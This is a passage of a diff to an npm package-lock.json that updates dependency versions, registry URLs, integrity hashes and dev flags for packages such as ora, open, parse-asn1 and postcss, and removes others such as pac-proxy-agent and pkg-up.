+ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "has-symbols": "^1.0.1",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "string.prototype.trimend": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz",
+ "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ },
+ "string.prototype.trimstart": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz",
+ "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ }
}
},
"obuf": {
@@ -12300,6 +16313,7 @@
"version": "1.4.0",
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
"integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
+ "dev": true,
"requires": {
"wrappy": "1"
}
@@ -12314,9 +16328,10 @@
}
},
"open": {
- "version": "7.2.1",
- "resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz",
- "integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==",
+ "version": "7.4.2",
+ "resolved": "https://registry.npmjs.org/open/-/open-7.4.2.tgz",
+ "integrity": "sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==",
+ "dev": true,
"requires": {
"is-docker": "^2.0.0",
"is-wsl": "^2.1.1"
@@ -12326,6 +16341,7 @@
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
"integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+ "dev": true,
"requires": {
"is-docker": "^2.0.0"
}
@@ -12345,6 +16361,7 @@
"version": "0.8.3",
"resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
"integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
+ "dev": true,
"requires": {
"deep-is": "~0.1.3",
"fast-levenshtein": "~2.0.6",
@@ -12354,6 +16371,88 @@
"word-wrap": "~1.2.3"
}
},
+ "ora": {
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/ora/-/ora-5.3.0.tgz",
+ "integrity": "sha512-zAKMgGXUim0Jyd6CXK9lraBnD3H5yPGBPPOkC23a2BG6hsm4Zu6OQSjQuEtV0BHDf4aKHcUFvJiGRrFuW3MG8g==",
+ "dev": true,
+ "requires": {
+ "bl": "^4.0.3",
+ "chalk": "^4.1.0",
+ "cli-cursor": "^3.1.0",
+ "cli-spinners": "^2.5.0",
+ "is-interactive": "^1.0.0",
+ "log-symbols": "^4.0.0",
+ "strip-ansi": "^6.0.0",
+ "wcwidth": "^1.0.1"
+ },
+ "dependencies": {
+ "ansi-regex": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
+ "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
+ "dev": true
+ },
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "chalk": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "strip-ansi": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
+ "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
+ "dev": true,
+ "requires": {
+ "ansi-regex": "^5.0.0"
+ }
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ }
+ }
+ },
"original": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz",
@@ -12375,21 +16474,11 @@
"integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=",
"dev": true
},
- "os-locale": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.1.0.tgz",
- "integrity": "sha512-Z8l3R4wYWM40/52Z+S265okfFj8Kt2cC2MKY+xNi3kFs+XGI7WXu/I309QQQYbRW4ijiZ+yxs9pqEhJh0DqW3Q==",
- "dev": true,
- "requires": {
- "execa": "^1.0.0",
- "lcid": "^2.0.0",
- "mem": "^4.0.0"
- }
- },
"os-name": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/os-name/-/os-name-3.1.0.tgz",
"integrity": "sha512-h8L+8aNjNcMpo/mAIBPn5PXCM16iyPGjHNWo6U1YO8sJTMHtEtyczI6QJnLoplswm6goopQkqc7OAnjhWcugVg==",
+ "dev": true,
"requires": {
"macos-release": "^2.2.0",
"windows-release": "^3.1.0"
@@ -12398,7 +16487,8 @@
"os-tmpdir": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
- "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ="
+ "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=",
+ "dev": true
},
"osenv": {
"version": "0.1.5",
@@ -12411,31 +16501,22 @@
}
},
"p-cancelable": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.0.0.tgz",
- "integrity": "sha512-wvPXDmbMmu2ksjkB4Z3nZWTSkJEb9lqVdMaCKpZUGJG9TMiNp9XcbG3fn9fPKjem04fJMJnXoyFPk2FmgiaiNg=="
- },
- "p-defer": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz",
- "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.0.tgz",
+ "integrity": "sha512-HAZyB3ZodPo+BDpb4/Iu7Jv4P6cSazBz9ZM0ChhEXp70scx834aWCEjQRwgt41UzzejUAPdbqqONfRWTPYrPAQ==",
"dev": true
},
"p-finally": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
- "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4="
- },
- "p-is-promise": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-2.1.0.tgz",
- "integrity": "sha512-Y3W0wlRPK8ZMRbNq97l4M5otioeA5lm1z7bkNkxCka8HSPjR0xRWmpCmc9utiaLP9Jb1eD8BgeIxTW4AIF45Pg==",
+ "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=",
"dev": true
},
"p-limit": {
"version": "2.3.0",
"resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
"integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
"requires": {
"p-try": "^2.0.0"
}
@@ -12452,7 +16533,8 @@
"p-map": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz",
- "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw=="
+ "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==",
+ "dev": true
},
"p-retry": {
"version": "3.0.1",
@@ -12466,54 +16548,14 @@
"p-try": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
- "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
- },
- "pac-proxy-agent": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-3.0.1.tgz",
- "integrity": "sha512-44DUg21G/liUZ48dJpUSjZnFfZro/0K5JTyFYLBcmh9+T6Ooi4/i4efwUiEy0+4oQusCBqWdhv16XohIj1GqnQ==",
- "requires": {
- "agent-base": "^4.2.0",
- "debug": "^4.1.1",
- "get-uri": "^2.0.0",
- "http-proxy-agent": "^2.1.0",
- "https-proxy-agent": "^3.0.0",
- "pac-resolver": "^3.0.0",
- "raw-body": "^2.2.0",
- "socks-proxy-agent": "^4.0.1"
- },
- "dependencies": {
- "debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
- "requires": {
- "ms": "^2.1.1"
- }
- },
- "ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- }
- }
- },
- "pac-resolver": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-3.0.0.tgz",
- "integrity": "sha512-tcc38bsjuE3XZ5+4vP96OfhOugrX+JcnpUbhfuc4LuXBLQhoTthOstZeoQJBDnQUDYzYmdImKsbz0xSl1/9qeA==",
- "requires": {
- "co": "^4.6.0",
- "degenerator": "^1.0.4",
- "ip": "^1.1.5",
- "netmask": "^1.0.6",
- "thunkify": "^2.1.2"
- }
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
+ "dev": true
},
"package-json": {
"version": "6.5.0",
"resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz",
"integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==",
+ "dev": true,
"requires": {
"got": "^9.6.0",
"registry-auth-token": "^4.0.0",
@@ -12524,12 +16566,14 @@
"@sindresorhus/is": {
"version": "0.14.0",
"resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
- "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ=="
+ "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==",
+ "dev": true
},
"@szmarczak/http-timer": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
"integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
+ "dev": true,
"requires": {
"defer-to-connect": "^1.0.1"
}
@@ -12538,6 +16582,7 @@
"version": "6.1.0",
"resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
"integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
+ "dev": true,
"requires": {
"clone-response": "^1.0.2",
"get-stream": "^5.1.0",
@@ -12552,6 +16597,7 @@
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
"integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+ "dev": true,
"requires": {
"pump": "^3.0.0"
}
@@ -12559,7 +16605,8 @@
"lowercase-keys": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
- "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="
+ "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
+ "dev": true
}
}
},
@@ -12567,6 +16614,7 @@
"version": "3.3.0",
"resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
"integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
+ "dev": true,
"requires": {
"mimic-response": "^1.0.0"
}
@@ -12574,12 +16622,14 @@
"defer-to-connect": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
- "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ=="
+ "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==",
+ "dev": true
},
"got": {
"version": "9.6.0",
"resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
"integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
+ "dev": true,
"requires": {
"@sindresorhus/is": "^0.14.0",
"@szmarczak/http-timer": "^1.1.2",
@@ -12597,12 +16647,14 @@
"json-buffer": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
- "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg="
+ "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=",
+ "dev": true
},
"keyv": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
"integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
+ "dev": true,
"requires": {
"json-buffer": "3.0.0"
}
@@ -12610,17 +16662,20 @@
"lowercase-keys": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
- "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA=="
+ "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==",
+ "dev": true
},
"p-cancelable": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
- "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw=="
+ "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==",
+ "dev": true
},
"responselike": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
"integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
+ "dev": true,
"requires": {
"lowercase-keys": "^1.0.0"
}
@@ -12628,14 +16683,16 @@
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
}
}
},
"pako": {
- "version": "1.0.11",
- "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
- "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="
+ "version": "0.2.9",
+ "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz",
+ "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=",
+ "dev": true
},
"parallel-transform": {
"version": "1.2.0",
@@ -12666,14 +16723,13 @@
}
},
"parse-asn1": {
- "version": "5.1.5",
- "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.5.tgz",
- "integrity": "sha512-jkMYn1dcJqF6d5CpU689bq7w/b5ALS9ROVSpQDPrZsqqesUJii9qutvoT5ltGedNXMO2e16YUWIghG9KxaViTQ==",
+ "version": "5.1.6",
+ "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz",
+ "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==",
"dev": true,
"requires": {
- "asn1.js": "^4.0.0",
+ "asn1.js": "^5.2.0",
"browserify-aes": "^1.0.0",
- "create-hash": "^1.1.0",
"evp_bytestokey": "^1.0.0",
"pbkdf2": "^3.0.3",
"safe-buffer": "^5.1.1"
@@ -12694,13 +16750,13 @@
}
},
"parse-json": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.0.0.tgz",
- "integrity": "sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
+ "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
"requires": {
"@babel/code-frame": "^7.0.0",
"error-ex": "^1.3.1",
- "json-parse-better-errors": "^1.0.1",
+ "json-parse-even-better-errors": "^2.3.0",
"lines-and-columns": "^1.1.6"
}
},
@@ -12708,6 +16764,7 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/parse-link-header/-/parse-link-header-1.0.1.tgz",
"integrity": "sha1-vt/g0hGK64S+deewJUGeyKYRQKc=",
+ "dev": true,
"requires": {
"xtend": "~4.0.1"
}
@@ -12754,7 +16811,8 @@
"path-is-absolute": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
- "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
+ "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=",
+ "dev": true
},
"path-is-inside": {
"version": "1.0.2",
@@ -12765,7 +16823,8 @@
"path-key": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz",
- "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A="
+ "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=",
+ "dev": true
},
"path-parse": {
"version": "1.0.6",
@@ -12795,12 +16854,13 @@
"pathseg": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/pathseg/-/pathseg-1.2.0.tgz",
- "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw=="
+ "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==",
+ "optional": true
},
"pbkdf2": {
- "version": "3.0.17",
- "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.17.tgz",
- "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==",
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz",
+ "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==",
"dev": true,
"requires": {
"create-hash": "^1.1.2",
@@ -12814,6 +16874,7 @@
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/peek-stream/-/peek-stream-1.1.3.tgz",
"integrity": "sha512-FhJ+YbOSBb9/rIl2ZeE/QHEsWn7PqNYt8ARAY3kIgNGOk13g9FGyIY6JIl/xB/3TFRVoTv5as0l11weORrTekA==",
+ "dev": true,
"requires": {
"buffer-from": "^1.0.0",
"duplexify": "^3.5.0",
@@ -12827,9 +16888,10 @@
"dev": true
},
"picomatch": {
- "version": "2.2.2",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz",
- "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg=="
+ "version": "2.2.3",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.3.tgz",
+ "integrity": "sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==",
+ "dev": true
},
"pify": {
"version": "2.3.0",
@@ -12872,66 +16934,6 @@
}
}
},
- "pkg-up": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-2.0.0.tgz",
- "integrity": "sha1-yBmscoBZpGHKscOImivjxJoATX8=",
- "dev": true,
- "requires": {
- "find-up": "^2.1.0"
- },
- "dependencies": {
- "find-up": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz",
- "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
- "dev": true,
- "requires": {
- "locate-path": "^2.0.0"
- }
- },
- "locate-path": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz",
- "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=",
- "dev": true,
- "requires": {
- "p-locate": "^2.0.0",
- "path-exists": "^3.0.0"
- }
- },
- "p-limit": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz",
- "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==",
- "dev": true,
- "requires": {
- "p-try": "^1.0.0"
- }
- },
- "p-locate": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz",
- "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=",
- "dev": true,
- "requires": {
- "p-limit": "^1.1.0"
- }
- },
- "p-try": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz",
- "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=",
- "dev": true
- },
- "path-exists": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
- "dev": true
- }
- }
- },
"pluralize": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz",
@@ -12972,9 +16974,9 @@
"dev": true
},
"postcss": {
- "version": "7.0.29",
- "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.29.tgz",
- "integrity": "sha512-ba0ApvR3LxGvRMMiUa9n0WR4HjzcYm7tS+ht4/2Nd0NLtHpPIH77fuB9Xh1/yJVz9O/E/95Y/dn8ygWsyffXtw==",
+ "version": "7.0.35",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.35.tgz",
+ "integrity": "sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg==",
"dev": true,
"requires": {
"chalk": "^2.4.2",
@@ -13033,15 +17035,15 @@
}
},
"postcss-modules-local-by-default": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.2.tgz",
- "integrity": "sha512-jM/V8eqM4oJ/22j0gx4jrp63GSvDH6v86OqyTHHUvk4/k1vceipZsaymiZ5PvocqZOl5SFHiFJqjs3la0wnfIQ==",
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz",
+ "integrity": "sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==",
"dev": true,
"requires": {
"icss-utils": "^4.1.1",
- "postcss": "^7.0.16",
+ "postcss": "^7.0.32",
"postcss-selector-parser": "^6.0.2",
- "postcss-value-parser": "^4.0.0"
+ "postcss-value-parser": "^4.1.0"
}
},
"postcss-modules-scope": {
@@ -13064,29 +17066,6 @@
"postcss": "^7.0.6"
}
},
- "postcss-reporter": {
- "version": "6.0.1",
